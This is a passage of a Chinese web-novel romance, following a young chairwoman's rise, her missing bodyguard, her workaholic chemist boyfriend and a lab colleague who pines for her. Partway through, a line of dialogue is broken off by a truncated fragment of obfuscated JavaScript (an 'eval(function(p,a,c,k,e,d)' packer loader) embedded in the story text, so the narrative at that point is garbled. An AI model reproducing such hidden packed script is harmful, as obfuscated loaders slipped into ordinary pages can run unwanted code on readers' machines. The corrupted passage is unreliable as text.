现在从头再来,她可能需要两年才能达到从前的水平,可是有着几十年经营历史的龙钢集团的水平已经远超众威十倍还多了,这是她再奋斗十年都未必能达到的成就。 段时凛不是傻子,她的野心从不掩饰,这种天大的好事她当然想抢到手,可做人也得有底线,龙钢是邬鸿晖夫妇俩留给邬元霁的遗产,这小子未经人事,心性不够成熟,所以把她当做了好人无条件信任。 若是换个人,这会儿早就诓骗邬元霁签股份转让合同将他的价值榨的一丝不剩然后踢出董事会了。 只要正确引导,邬元霁一定可以成才。她只是帮了点小忙,不能利用感情来欺负这个孩子。 段时凛敛了敛眸,准备出声拒绝邬元霁,谁料转头一看,面前站着的孩子已经红了眼眶,一行热泪从脸颊滑落,小声的抽噎响彻在房间里。 段时凛一愣。 邬元霁抹着泪,哭得鼻尖和耳根子都是红的:“你们都不要要我……那我只能等死了,夺回了家产又如何,拿回了公司的管理权又如何,盯着我的人迟早会把我弄死,早知道这样,你当初还不如别给我包子吃,让我饿死冻死算了!” 就是因为对管理公司不感兴趣,所以他才闷头待在学校,对家族企业不闻不问,以至于现在出了事,连个能帮他的人都没有。 段时凛沉默了。 她本想装作看不见,可邬元霁的模样莫名让她再次想到了十八岁那年的自己。 同样的无父无母,同样的无依无靠,差不多的年纪,相似的困境…… 邬元霁要是有退路,就不会将希望寄托在她一个刚认识了不过两个月的外人身上了。 “你就不怕,我只是利用你,所做的一切都不过是在欺骗你。” 邬元霁坚定地看着她的眼睛:“那我愿意你利用我。” 他酝酿了一下,说:“和那些人相比,我宁愿盯上我的人是你。他们在暗处守着,时刻准备取我的命。但我饿晕在路边,愿意把仅有的两个包子都给我的,是你。我爸说过,患难见真情,事变知人心,是真是假,我心里清楚。” …… 段时凛接受了邬元霁的提议,接替了龙钢集团董事长一职。但并没有完全接受邬元霁的所属股份,而是与他签署了一份借债条款,以龙钢当时股票价格的两倍收购了邬元霁手中约49%的股份,并为他单独设立了基金会,每年以相应分红数量往里面打款。 这代表日后邬元霁若是想抽身撤离,至少可以带走的资产数量绝对超过与段时凛签订合约时的两倍。 这是一份保障,也是段时凛对他的承诺。 至此,龙钢集团正式易主。 上位后,段时凛先是凭借强悍手段和雷厉风行的管理模式让手下人彻底臣服,她重整组织架构,上下里外都清理一遍,废了好一番功夫才将公司清算干净。 有了被合伙人背刺的经历在,段时凛行事更加谨慎敏感,股东换血,董事让位,内部培养心腹,圈养自己的势力。 她带领龙钢一步步壮大,踏上了以前从未有过的高度。 在逐年上涨、远超入职数倍的薪酬待遇下,那些原本对她颇有微词的前成员一个个都闭上了嘴。 真金要比任何一块大饼都要硬实,员工有干劲,企业有朝气。 在短短的三年间,段时凛疯狂扩展业务规模,迅速吞并包括明通在内的数家老牌集团,收购了一家又一家电气机械、精密器材制造、计算机通信制造、铁路、航舶、运输设备制造等硬件制造业公司,逐渐发展成为一家综合型超级集团,扩张速度堪称恐怖。 2005年,龙钢集团正式更名为正霆国际集团,并于香港二次上市成功。受多家国有资本战略投资者入股,正霆国际由民营企业转变为国有控股企业,市值2.3万亿。 那年,段时凛25岁,身价120亿,真正做到了东山再起。 接手龙钢的第二个月,她就搬出了那个没有暖气和窗户的地下室,她婉拒了邬元霁邀请入住邬家的提议,而是和尹修买了新的大房子。 到现在,整整八年,邬元霁长大了,长高了,也成熟了,变成了一个高壮的男人,以贴身护卫的身份陪她走到今天。 这中间经历的那些意外、枪击、偷袭、车祸……每一次,邬元霁都挡在她面前。 为他创立的基金会存储金额已经超过了三十亿,邬元霁却一分都没动过。 他说:“我的就是你的,你安全,就代表我们的公司安全,我只要陪在你身边就够了。” 邬元霁完全退出了公司的管理,只担任一个隐名股东身份,正霆的一切名誉都挂靠在段时凛的名下。 他就像一个影子,时刻藏匿于段时凛身后,也像一把利刃,为段时凛斩尽一切杂草。 他与段时凛共生一体,密不可分,是这个世界上唯一可以将后背交付给彼此的人。 而现在,这个在她人生中占据了不可撼动地位的男人却不知所踪。 段时凛有调查过,邬元霁失踪后,她身边一切如故,公司运转正常,项目推进正常,没有任何异样。 邬元霁不可能做出背叛她的事。 只是现在,不祥的预感裹挟了脑海。 在不知生死的情况下,段时凛不可否认,她悲痛地想到了一个难以接受的事实。 ——邬元霁很有可能,已经不在人世。 但不论结果如何,她都要找到他的下落,彻查真相。 9.那他应该也可以 段时凛走后,文衍情毫无睡意。 他将自己埋进被子里,鼻尖轻嗅段时凛睡过的地方,散发着一股淡淡的,和段时凛身上一样清爽冷冽的好闻味道。 那一块的床单已经没有了温度,但文衍情仍然能回想起这一天一夜抱着段时凛时的触感。 段时凛身量修长,骨架宽大,体格健硕,175cm的身高,四肢比例优越,从头到脚都结结实实的,全然没有上学那会儿的干巴瘦弱。 文衍情记得自己揽上她手臂的感觉,肌肉绵软又不失紧致,隔着一层衣服都能感到这具身体下蕴藏着强悍的力量,质感十足。 那天扇在他脸上的巴掌力道惊人,文衍情时常能想起来那火辣辣的痛感,虽然整个脑子差点就宕机了,但文衍情一点也不觉得难受和愤怒。 能和段时凛亲密接触的机会不多,能挨她的打,更是可遇不可求,况且,她是喝醉了才不记得昨晚发生的事,醒来的反应倒也在正常之中。 文衍情摸了摸已经好了的右脸颊,心里泛起细细密密的小雀跃。 按照段时凛所说的,等时间差不多了,他才拨通了前台的电话。 几分钟后,房门就被敲响了,热腾腾的早饭和崭新的衣服送到了门口。 文衍情吃过饭,洗漱完毕,换上了新衣服。 还是和2号那天一样的衬衣西裤,不同的是,这次多了件复式马甲和黑色羊绒大衣,还有一双皮鞋以及一条灰色围巾。 穿上后,文衍情对着镜子看了一会儿,觉得段时凛的眼光真好。 他以前从来不在乎这些外在装扮,为了工作能方便点,一直都是怎么简单怎么来。 但前两天换上了段时凛买的新衣服,路上,化工院的同事们都在夸他终于舍得打扮自己了。 文衍情回到家,也对着镜子里的那个清隽的身影看了很久。 的确比他自己的品味要好得多。 也是头一回,文衍情发现自己有着一副流畅的身材和一张近乎完美的皮囊。 这得益于他父母的优良基因。 然而,盯着自己这一身成熟的装扮,文衍情却不禁想到了尹修。 作为他们院内公认的出身优异的高级工程师,尹修长得一表人才,衣着配饰都是牌子货,举手投足间尽显沉稳优雅。 他常年的装扮就是衬衣西裤皮鞋,外套也多是大衣和西服,和他们这群整天为了方便实验而随便对付的人有着明显区别。 三十出头的年纪,佼佼的身材,不俗的容貌,还有些令人艳羡的学术地位,这正是一个男人最有魅力的时刻。 因而尹修在化工院总是有着不错的名声。 但是…… 文衍情眸色一沉。 尹修有的,他也有,身材,长相,职称,真要论起来,他自是不输这位师兄的。 而且,他还比尹修年轻5岁,甚至学历上也要高出他大一截。 文衍情不清楚段时凛为什么喜欢尹修,他初三准备表白的时候就看到两人已经是十分亲密的关系了。在他没注意到的地方,段时凛和尹修有着一层常人难以插足支解的关系,这支撑他们走过了十几年风风雨雨,生死与共。 然而现在,他们之间出现了裂痕。 就像冰川在暖阳刺激下迸发裂纹,稻田因缺水干旱遍布皲裂的纹路,曾经亲密无间的感情诞生出了细微的缝隙,沉默与疏远无声渗入。 据他观察,段时凛已经半年没来他们化工院接尹修下班了,而尹修正好就是半年前搬到化工院的员工宿舍住的。 半年……足足半年,文衍情没见过两人同框出现。 这就说明了问题:段时凛和尹修之间肯定发生了什么。 虽说一直以来,文衍情接受的都是高等教育,可一旦牵涉到段时凛,他就无法保持冷静了。 男人轻轻拈了拈袖口,眼神里闪过一抹不易察觉的偏执。 他脑海里诞生出了一个颇为大胆的念头: 既然尹修可以,那他应该也可以…… 这句话刚冒出来,文衍情自己都吓了一大跳。 他盯着镜子里那个有些陌生的自己,缓缓思索了起来。 他不能干涉段时凛的感情,那样会惹人厌烦。 可要是……他们分手了呢? 文衍情抬眼,与镜子里同样抬起脸的男人对视。 或许,他真能等到这个机会。 文衍情出了酒店,随手拦了辆出租车回了家,将换下来的旧衣服放进了洗衣机,然后骑着自己的电瓶车去了化工院。 担心就为了这种小事去打扰段时凛,会让对方感到厌烦,所以文衍情就没有联系段时凛的司机,而是自己悄悄离开。 虽然不知道以后还有没有机会能再见,但文衍情私心认为,最起码不能在段时凛心里留下坏印象。 还有最重要的一点:他担心自己坐着段时凛的车去化工院,假设好巧不巧,如此高调的行为被尹修看到,没准会给段时凛带来不必要的麻烦。 整个研究院的人都知道,尹修的另一半是段时凛,而尹修与正霆国际集团董事长是恋人关系的事,院内人尽皆知,因此,尹修在化工院的地位非同一般。 文衍情不喜欢尹修,可这不代表他要给段时凛找不痛快,他可以忍受任何非议,但绝不能让人妄议段时凛。 他今天是卡着点来的,不过并不耽误工作,毕竟大家基本上都是这个点到,换衣间里同事们还互相打着招呼,抽空闲聊两句。 “呦,小文,今天穿的也很帅气呢,果然爱情滋润人,我看你前两天去约会穿的也跟平常很不一样。”师姐瞿彤将他上下看了几眼,没忍住打趣道。 文衍情不好意思地低下了头,没说话,但听着师姐的话,他内心很是满足。 瞿彤一边套实验服,一边戏谑道:“一向不请假的你昨天居然没来,约会去了吧,今天是不是也准备约会去?” 文衍情抿了抿唇,不知道该怎么回复,昨天发生的事他不好提,总不能告诉瞿彤他跟师兄的女朋友在酒店躺了一天一夜,但实际上什么都没干,这要是说出来,院内可就不太平了,索性他就没开口。 倒是一旁的其他几位同事竖起了耳朵,闻到了八卦的味道,不禁问道:“嗯?小文谈恋爱了?” “我刚刚听着是这么回事,瞿彤都说他约会呢。” 瞿彤笑着说:“瞧瞧,这不是很明显的事吗,小文这穿的多有精神,一看就是女朋友挑的,本来人长得就挺好看,结果天天穿的跟个学生一样,长得帅就要好好打扮啊,你看看你尹修师兄,多有气质,学着点。” “真是没想到,小文,你闷声干大事啊,谈了恋爱这么低调。” “要不是瞿彤,我都不知道小文有女朋友,本来还想给他介绍我朋友的女儿来着呢,现在看来,倒真是我来晚了哈哈哈。” “这小子跟尹修一样,不喜欢张扬,恋爱也是,不声不响的。” “咱院内最帅气的两个男娃娃都名草有主了,果然,长得帅的就是抢手。” …… 尹修就在不远处换衣服,几人的交谈声清晰地传进了他耳朵里。 他故作不经意扭头看过去,文衍情正低着头系扣子。 两人没有对上视线。 尹修只注视了那家伙两秒,而后便移开了目光。 他脸色不是多好。 倒不是因为文衍情的问题。 他忙了那么久,正在分离试验的关键时期,昨夜好不容易取了点突破,缓口气的功夫准备给段时凛打个电话麻烦她来化工院一趟。 天气越来越冷了,他得换一些更厚的衣服。搬进化工院的时候,他只带了几件秋冬装,剩下的全在京和湾。但他没时间回家,就打算让段时凛派人送来。 结果一打开关机了好几天的手机,入目的第一个消息就是段时凛的分手短信。 ——“尹修,分手吧,我们走不下去了。” 盯着那一行字,尹修的脑子宛如被一闷棍捶过,嗡嗡作响。 他花了好一会儿时间才消化掉这是真实发生而不是他在做梦的事实。 段时凛要跟他分手? 尹修百思不得其解。 为什么? 他想不明白。 段时凛到底要干什么,好端端地说什么分手。 两人都一起相濡以沫生活了13年,16岁相识,18岁相爱,彼此从分无分文到现在事业有成,低谷时住过地下室,捡菜市场不要的剩菜当饭,被对家带着打手追得满大街乱躲,如今都各自站在了高处。 没有亲人父母,他们只有彼此可以相依为命,除了没领证,生活跟寻常的夫妻没有任何区别,突然说要分手……尹修怎么想都想不出来个所以然。 他当即就准备打个电话给段时凛问问情况,但因为实验室那边临时有事,尹修跟着同事急匆匆换了衣服过去,忙完就忘记了这事,今早醒来才猛地意识到,他还没联系段时凛。 尹修抓着手机,表情越来越沉。 短信是1号晚上发的,现在已经是5号了,中间段时凛没有打过电话,也没发过短信,他的收件箱里就只有那一封短信静悄悄地躺在里面,格外明显。 段时凛就像突然着了魔似的发了这条诡异的短信,然后忘记了它的存在一样。 尹修本想找个时间给段时凛回个电话,但他太忙了,今早实验室那边又说昨天的数据有问题,需要重新做一遍实验,尹修连早饭都没心情吃,浑身烦躁。 等到了中午吃饭的时候,尹修没去食堂,而是拿着手机,准备利用这点时间跟段时凛打个电话问问。 他来到实验楼的后花园,这里没什么人,打电话也不会有人听见。 尹修翻出段时凛的号码,正准备拨过去时,前面的灌木丛忽然传来了一阵说话声。 “兰兰……我真的错了,我不是故意不接你电话的,我真的太忙了,好几天没睡个安稳觉了,不小心没听到铃声……要分手?不行,兰兰……我知道你是在生我的气,咱们不能一吵架就说分手啊,你可是我最重要的人,没了你我就不能活了,分手这话以后就不要再提了哦…… 是是是,我知道错了,我以后都不静音了,绝对第一时间回你的短信和电话好不好?你看,我特意在午饭时间给你打的电话,饭都没吃,就想听到你的声音,我是真的忙,实验室大家都这样……等这段时间忙完了,我好好陪陪你好不好?” 听到这,尹修动作一顿。 声音很熟悉,是跟他一个项目组的方磊。两人进化工院的时间差不多,年纪也相似,关系倒还可以。 方磊打完电话,颇为头疼地将手机塞进裤子口袋里,然后摸出一根烟,刚点上吸了一口,一转头就被站在身后的尹修吓了个激灵。 “尹修?你……你怎么在这儿?”方磊烟都有点拿不稳了。 距离不远,烟味顺着空气飘过来,尹修眉头一皱,下意识往后退了一步。 他不喜欢烟味,段时凛也不喜欢,二手烟的味道很恶心,夹杂着吸烟者的口气和刺鼻的气味,像是裹了一层烟草味的臭气。 方磊还算有眼色,将烟换了只手拿,于是烟味便飘远了些,没沾到尹修身上。 “吃饭时间,你来这儿干嘛?”方磊随口问道。 尹修攥着手机,没有回答他的问题,而是直接问道:“跟女朋友吵架了?” 方磊原本还想装作什么都没发生的样子,结果听到尹修这么说,一下子就破功了,气势矮了一截:“……你都听到了?” 尹修平静道:“抱歉,我只是路过,没想偷听。” 方磊摆摆手,叼着烟说:“没事,又不是不能听的机密。” 说完,他叹了口气,自顾自无奈道:“唉,这几天忙的晕头转向的,忘记回兰兰消息了,结果这人就吵着闹着要分手……” 尹修不理解地说:“你就不着急吗?” “着急?着急什么?” 方磊深深吸了一口,吐出一圈烟雾,表情是浓浓的无力:“都不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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段时凛有钱有权又漂亮,独立自主知性沉稳,还能在学术上帮衬上尹修,是多少男人梦寐以求的另一半。 每次看到段时凛开着豪车过来接尹修下班,可把他们给眼红坏了。 方磊从没见过尹修低声下气地哄过女朋友,段时凛发的消息,尹修总是忙完好几天才想起来回,就这段时凛都没生过气,还对尹修的工作表示理解。 如果是他对象兰兰,早就电话短信轰炸一波了。 尹修平日里话很少,是个彻头彻尾的工作狂,把实验当做人生首选。他们毫不怀疑,如果世界末日来临,尹修一定会毫不犹豫地选择保护他的实验台和数据。 院内的大多数男同事都有女朋友或者妻子,有的是上学时自己谈的,也有的是老师和前辈帮忙牵线介绍的,只有尹修和段时凛在一起的时间最早,高三一路谈到现在,13年了。 同事们闲聊时尹修自己透露过,说他和段时凛基本没吵过架,关系十几年如一日的好。 少年夫妻的感情可不是一般人能比的,院内的同事们最是羡慕尹修好命。 听了方磊的话,尹修表情淡淡,情绪看不出是好是坏。 跟这样的尹修待在一个空间里,方磊莫名觉得不自在,于是他把烟掐了,然后转身去了食堂。 “还有时间,我先去吃个饭了啊。” 方磊挥着手客套了一句就走了,花园里只剩下尹修。 他拿着手机,目光在通讯簿上段时凛的名字那行停留了好一会儿。 发这种意气用事的短信,很不像段时凛的风格。 尹修不知道段时凛受了什么刺激,也不清楚自己到底哪里惹到她了。 如果是不回消息或者是消息回的晚,从他进入化工院开始就一直是这样,他早跟段时凛提前说明过,他工作特殊,需要没日没夜的泡在实验室里,时常连饭都忘记吃,一忙就忙到大半夜去,段时凛自己也表示过理解,总不能过好几年了突然翻旧账吧。 他们彼此共渡了十三年风雨,早就密不可分,哪能是区区十二个字就能轻易斩断的关系。 更何况,他们还住在一起,分手这种事,起码得当面商量。 尹修顿了一下,心头划过一抹沉默。 不过仔细想想,这半年为了全身心投入实验,他确实都没怎么联系过段时凛,两人也没见过面,电话都很少打。 段时凛以前就有失眠的毛病,压力大了就没法合眼,睡觉的时候身边必须得有人才行。 怕段时凛一个人待着会不习惯,这些年来他一直听她的话陪着她住在一起,还是看到段时凛现在生意稳定了,不用像以前那样东奔西走的到处出差拉投资,尹修才安下心来搬到化工院的宿舍,不然早就在毕业的时候住进化工院了。 他们俩都有自己的追求,段时凛的商业帝国梦已经实现了,现在就该轮到他全力追逐自己的梦想了,段时凛会理解他,也必须理解他。 半年都没见过面,忽然发来一条短信,尹修猜测,估计就是像方磊说的那样,段时凛想试探试探他的态度,吓吓他而已。 这个女人虽然冷面寡言,但偶尔也会幼稚一下跟他撒娇开玩笑,如果自己因此乱了方寸,就刚好中了段时凛的下怀。 他工作忙,段时凛不是不知道,要因为这点小事就跟他闹脾气说要分手,以后还天天把分手威胁挂在嘴上,尹修想想都要头大了。 他可没精力去照顾段时凛的情绪。 段时凛忙,他也忙,大家都是有工作的人,调节能力不是摆设。 段时凛把公司当成命,他也把化学研究当做毕生追求。现在跟以前不一样了,他们再也不是谁离了谁就不能活的幼稚学生了。 段时凛肯定会再次联系他的,等那个时候再搭理她吧,要是生气了就解释一下哄哄,段时凛不是拎不清的人。 尹修收起了手机,转而绕去了食堂,路上,他心里泛起嘀咕。 真是越活越回去了,都多大的人了还搞这么幼稚的把戏。 男人揣在口袋里的手发冰发僵。 身上就那么几件单薄的衣服,尹修冻得直打哆嗦。 实验室里没那么冷,但是一出来就能体会到室内室外的温度差。 等有空了去外面的服装店里买几件厚衣服凑合穿吧,京和湾就先不回去了,省的段时凛借题发挥真跟他闹。 这么想着,尹修踏进了食堂,将昨夜的烦恼抛诸脑后,脑子里重新被满当当的数据和实验所占据。